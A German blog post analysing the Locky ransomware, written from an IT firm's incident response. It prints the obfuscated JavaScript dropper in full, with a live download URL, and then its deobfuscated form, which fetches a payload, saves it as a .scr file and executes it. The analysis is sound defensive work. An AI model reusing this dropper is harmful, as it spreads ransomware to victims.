Analyse der Funktionsweise des Locky Virus

Einer unseren Kunden wurde am Freitag, 19. Februar von dem mir bis dato unbekannten Erpresser Trojaner Locky aufgesucht.

Dieser verschlüsselte nach dem Aktivieren Dateien auf ihm aller erreichbaren Laufwerke. Da wir bzw. der Kunde auf die Forderung der Erpresser nicht eingehen wollte, mussten wir auf das aktuellste Backup zurückgreifen, da eine Entschlüsselung nicht möglich ist, ausser man gelangt an den entsprechenden Key, welcher sich jedoch nicht wirklich auf seriösen Webseiten befindet.

So blieb uns nur die Möglichkeit, die Arbeitsweise des Viruses herauszufinden, sodass entsprechende Massnahmen dagegen getroffen werden konnten.

Der Virus verbreitete sich in unserem Fall als ZIP Datei – nach den neuesten Erkenntnissen wird dieser neu auch als BAT File versandt.
Das Attachment lautete wie folgt: RG2083554235-SIG.zip oder RG8139456857-SIG.zip

In dieser Datei befand sich dann die gleichlautete obfuskierte Javascript Datei:

profileDefect=eval(('coordination', 'alternative', 'demon', 'legal', '\u0074parity'.e()) + 'h' + ('economy', 'progression', 'contribution', 'opponent', 'archive', '\u0069variation'.e()) + 's'); profileDefect=profileDefect[('autonomous', 'spindle', 'analogy', '\u0041navigate'.e()) + 'c' + ('positive', 'degeneration', 'portrait', '\u0074copy'.e()) + 'iv' + ('bisexual', 'syntax', '\u0065sphere'.e()) + 'XO' + ('subjective', '\u0062abort'.e()) + 'je' + ('complex', 'division', 'sexual', 'tract', '\u0063music'.e()) + 't']; instanceModern = ('minor', '\u0052separation'.e()) + 'u' + ('preamble', 'minimal', 'collector', 'sex', '\u006etransport'.e()) + ''; function String.prototype.e(a) {return this.charAt(a);} decadeFacade = new profileDefect(('packet', '\u0057blank'.e()) + 'Sc' + ('criteria', 'massive', 'reorganize', 'variant', 'parole', 'polar', '\u0072variant'.e()) + 'i' + ('collection', '\u0070medical'.e()) + 't.' + ('automatic', '\u0053humane'.e()) + 'h' + ('component', 'platform', 'degeneration', 'tactics', '\u0065civilization'.e()) + 'l' + ('budget', 'firm', 'skeleton', 'regression', 'lord', '\u006cinitiative'.e()) + ''); computerProgression = decadeFacade[('unique', 'initiative', 'reaction', 'office', 'ballast', '\u0045protector'.e()) + 'xp' + ('theoretic', 'effective', '\u0061configuration'.e()) + 'n' + ('portal', 'company', 'aquarium', '\u0064switch'.e()) + 'En' + ('role', 'assortment', 'shunt', '\u0076meditate'.e()) + 'i' + ('final', 'vitamin', '\u0072product'.e()) + 'on' + ('intellect', 'result', 'bazaar', 'club', 'fortune', '\u006dcommunication'.e()) + 'en' + ('lethal', 'spindle', '\u0074mandate'.e()) + 'St' + ('theoretic', 'gigantic', 'cabinet', 'visit', 'degeneration', 'amorphous', '\u0072effect'.e()) + 'i' + ('cafe', '\u006eorder'.e()) + 'g' + ('unison', 'emotion', 'arbiter', '\u0073revision'.e()) + ''](('negative', 'binary', 'qualification', 'translation', '\u0025factor'.e()) + 'TE' + ('speculation', '\u004dlord'.e()) + 'P%' + ('imperative', 'monster', 'unique', 'occasion', '\u002fminimal'.e()) + '') + "7fAeESox"+('storm', 'dynamic', 'reanimation', 'alcohol', '\u002etheorem'.e()) + 's' + ('symphony', 'image', 'inspection', '\u0063press'.e()) + 'r'; publicRobot = new profileDefect(('contribution', 'monster', 'progress', 'clip', 'television', 'facade', '\u004deffect'.e()) + 'SX' + ('trivial', 'episode', 'delegation', 'match', 'disk', 'statuette', '\u004darctic'.e()) + 'L2' + ('total', 'strategy', 'compositor', '\u002euniversal'.e()) + 'XM' + ('filter', 'product', '\u004crecord'.e()) + 'HT' + ('category', 'role', 'penalty', '\u0054radical'.e()) + 'P'); publicRobot[('planet', 'stand', 'cancer', 'hotel', 'prologue', 'beach', '\u006freflection'.e()) + 'pe' + ('appeal', 'station', 'progression', 'original', '\u006efacade'.e()) + ''](('official', 'panel', 'devil', '\u0047temperature'.e()) + 'ET' , ('potential', 'role', 'formula', 'solo', 'official', 'accommodation', '\u0068neutral'.e()) + 't' + ('commerce', 'transplant', 'accumulator', 'penalty', 'post', 'boom', '\u0074generator'.e()) + 'p:' + ('infection', 'material', 'licence', 'apostrophe', 'strategic', '\u002fblockade'.e()) + '/w' + ('region', 'situation', 'general', '\u0077pulse'.e()) + 'w.' + ('mechanic', '\u0062club'.e()) + 'ag' + ('colony', '\u002dinterpret'.e()) + 'o' + ('printer', '\u006ecafe'.e()) + 'l' + ('serial', 'comfort', '\u0069proportional'.e()) + 'n' + ('cabinet', '\u0065absolute'.e()) + '.' + ('structure', 'paste', '\u0063registration'.e()) + 'o' + ('operate', 'radar', 'bamboo', '\u006dimitate'.e()) + '/s' + ('passport', 'predicate', 'reason', 'special', '\u0079bomber'.e()) + 'st' + ('show', 'bank', 'visa', 'cafe', 'tonic', 'coordination', '\u0065strategic'.e()) + 'm' + ('alcohol', 'illusion', '\u002fprofile'.e()) + 'l' + ('emission', 'absurd', '\u006fphenomenon'.e()) + 'gs' + ('formula', 'segment', 'address', 'business', '\u002finform'.e()) + '56' + ('cipher', 'location', 'unison', 'boxing', 'herb', '\u0079rum'.e()) + '4' + ('trophy', 'circle', 'operation', '\u0067simulate'.e()) + '45' + ('stimulation', 'administration', 'manifesto', 'barrel', 'economy', '\u0067special'.e()) + 'h' + ('modern', 'pulse', 'evolution', 'formal', 'refrigerator', 'logic', '\u0034selective'.e()) + '5' + ('accord', 'tampon', '\u0068dialect'.e()) + '', ((0|2)-(1*1))==((6+5)-(11&15))); publicRobot[('autonomous', 'icon', '\u0073produce'.e()) + 'e' + ('dialect', 'switch', 'command', 'aviation', '\u006eregression'.e()) + 'd'](); while (publicRobot[('student', 'neutral', 'initial', 'absorption', '\u0072mile'.e()) + 'e' + ('suffix', 'fragment', 'legion', 'genealogy', 'clan', '\u0061symmetry'.e()) + 'dy' + ('rum', 'abstract', '\u0073focus'.e()) + 't' + ('result', '\u0061scalpel'.e()) + 't' + ('ballast', 'analogy', 'paragraph', '\u0065cooperation'.e()) + ''] < ((1*0)^(2+2))) {this[('season', 'price-list', 'industry', 'criteria', 'printer', 'violet', '\u0057cycle'.e()) + 'S' + ('pill', 'tax', 'contribution', 'specific', 'salute', 'type', '\u0063apostrophe'.e()) + 'ri' + ('imitate', 'proportion', 'arsenal', 'collection', 'mechanic', 'commission', '\u0070organism'.e()) + 't'][('commerce', 'shorts', '\u0053atom'.e()) + 'l' + ('reorganize', 'memoirs', 'tariff', 'instrument', '\u0065master'.e()) + 'e' + ('genesis', 'serious', 'rocket', 'phenomenon', 'practical', 'operator', '\u0070organism'.e()) + ''](((1^97)|(84^48)));} impressionBarge = new profileDefect(('norm', 'brilliant', '\u0041temperature'.e()) + 'DO' + ('industrialization', 'stimulus', 'typical', '\u0044argument'.e()) + 'B' + ('syndicate', 'commerce', '\u002edegeneration'.e()) + 'St' + ('season', 'initial', 'injection', 'element', 'passport', 'energy', '\u0072protocol'.e()) + 'e' + ('figure', '\u0061barrier'.e()) + 'm'); try { impressionBarge[('special', 'thesis', 'minimal', 'vocal', 'spherical', 'chief', '\u006fexpertise'.e()) + 'p' + ('division', '\u0065facade'.e()) + 'n'](); impressionBarge[('contribution', 'import', 'resource', 'rotation', '\u0074illustration'.e()) + 'yp' + ('strategic', 'theoretic', '\u0065strategic'.e()) + ''] = ((1|0)^(0+0)); impressionBarge[('effect', 'evolution', 'academy', 'inform', '\u0077artist'.e()) + 'ri' + ('absorb', 'maximum', '\u0074degradation'.e()) + 'e'](publicRobot[('paste', 'bomber', 'reputation', 'trajectory', 'list', '\u0052version'.e()) + 'e' + ('homogeneous', 'communication', 'military', 'shock', 'service', '\u0073risk'.e()) + 'po' + ('practical', 'temperature', 'guest', 'yacht', 'cortege', '\u006ehobby'.e()) + 's' + ('genealogy', 'radical', '\u0065encyclopedia'.e()) + 'Bo' + ('chance', '\u0064parity'.e()) + 'y']); impressionBarge[('graphic', 'occupant', '\u0070selective'.e()) + 'o' + ('natural', '\u0073resistor'.e()) + 'i' + ('origin', '\u0074attribute'.e()) + 'io' + ('skeleton', 'negative', '\u006ecomplex'.e()) + ''] = ((0+0)^(0|0)); try { impressionBarge[('linguist', 'photograph', 'accommodation', 'session', '\u0073administration'.e()) + 'av' + ('tonic', '\u0065registry'.e()) + 'T' + ('herb', 'precision', 'translator', 'vocal', '\u006flist'.e()) + 'F' + ('arctic', '\u0069balance'.e()) + 'l' + ('prologue', 'firm', '\u0065attestation'.e()) + ''](computerProgression, ((21^2)-(483/23))); impressionBarge[('port', 'crisis', '\u0063inert'.e()) + 'l' + ('auction', 'composer', 'object', 'barbarian', 'vertical', '\u006frealization'.e()) + 's' + ('authority', 'organization', 'box', 'regulate', 'modify', '\u0065block'.e()) + ''](); decadeFacade [instanceModern](computerProgression); } catch (jungleDiscrete) {}; } catch (jungleDiscrete) {};

 

Sofern man nun die Regelmässigkeiten aus mehreren Dateien betrachtet, fällt einem auf, dass zum Beispiel bei folgender Zeile

profileDefect=eval(('coordination', 'alternative', 'demon', 'legal', '\u0074parity'.e()) + 'h' + ('economy', 'progression', 'contribution', 'opponent', 'archive', '\u0069variation'.e()) + 's');

 

bei jedem Unicode String der String Prototype e ausgeführt wird. Somit müsste im Code ein entsprechender Prototype zu finden sein.
Und in der 4 Code Zeile bin ich dann fündig geworden:

function String.prototype.e(a) {return this.charAt(a);}

 

Da die gesamten Strings vor dem mit dem Unicode Zeichen irrelevant sind und nur das Unicode Zeichen aus dem letzten String herausgelesen wird, lautet die Zeile aus der o.g. Zeile:

profileDefect=eval("\u0074" + "h" + "\u0069" + s");

und übersetzt:

profileDefect=eval(this);

das ganze nun für den gesamten Code ergibt: (die Url ist entsprechend angepasst)

profileDefect=eval(this);
profileDefect = profileDefect['ActiveXObject'];
instanceModern = "Run";
decadeFacade = new profileDefect("WScript.Shell");
computerProgression = decadeFacade["ExpandEnvironmentStrings“]("%TEMP%/7fAeESox.scr“);
publicRobot = new profileDefect("MSXML2.XMLHTTP");
publicRobot["open"]("http://server/system/logs/56y4g45gh45h", false);
publicRobot["send"]();
while(publicRobot["readyState"] < 4) { this["WScript"]["Sleep"](100); }
impressionBarge = new profileDefect("ADODB.Stream");
try { 
        impressionBarge["open"](); 
        impressionBarge["type"] = 1; 
        impressionBarge["write"](publicRobot["ResponseBody"]);
        impressionBarge["position"] = 0;
        try { 
           impressionBarge["saveToFile"](computerProgression, 2);
           impressionBarge["close"]();
           decadeFacade [instanceModern](computerProgression);
        } catch (jungleDiscrete) {};
} catch(jungleDiscrete) {}

Wie man aus dem Code nun erkennen kann, baut das Script demnach eine Verbindung zu einem Server (in diesem Fall einer aus dem AS1299)
auf und lädt den Content aus system/logs/56y4g45gh45h und speichert diese in einer SCR Datei und führt diese dann aus.

Has one comment to “Analyse der Funktionsweise des Locky Virus”

You can leave a reply or Trackback this post.